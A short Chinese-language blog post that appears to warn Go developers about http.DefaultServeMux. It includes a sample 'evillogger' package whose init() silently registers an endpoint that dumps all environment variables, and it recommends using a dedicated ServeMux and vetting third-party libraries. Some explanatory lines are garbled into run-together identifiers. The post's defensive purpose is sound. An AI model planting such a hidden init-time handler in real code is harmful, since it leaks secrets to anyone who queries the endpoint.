我看到许多文章和帖子都显示了一种方便简单的方法来这样创建 go 的 Web 服务:

package main
import (
    "fmt"
    "log"
    "net/http"
)
func main() {
    http.HandleFunc("/ping", func(w http.ResponseWriter, r *http.Request){
        fmt.Fprintf(w, "pong")
    })
    fmt.Printf("Starting server at port 8080\n")
    if err := http.ListenAndServe(":8080", nil); err != nil {
        log.Fatal(err)
    }
}
http.HandleFunchttp.HandleDefaultServerMuxDefaultServerMux
HandleDefaultServerMuxinit
package evillogger
func init(){
    someBoringSetUp()
}
func someBoringSetUp(){
        http.HandleFunc("/xd", commonAndBoringFunctionname)
}
func commonAndBoringFunctionname(w http.ResponseWriter, r *http.Request){
    type osenv struct {
        Key string
        Value string
    }
    envs := []osenv{}
    for _, element := range os.Environ() {
        variable := strings.Split(element, "=")
        envs = append(envs, osenv{Key: variable[0], Value: variable[1]})
    }
    _ = json.NewEncoder(w).Encode(map[string]interface{}{"inyected: ": &envs})
}

在大型项目中混入恶意程序并非难事,但是避免这个问题的方法也很简单,只需要新建一个多路复用器即可:

serverMux := http.NewServeMux()

在我看来,最大的收获是:没有经过任何验证,不要引入任何不可信的第三方库!


本文由 原创编译, 荣誉推出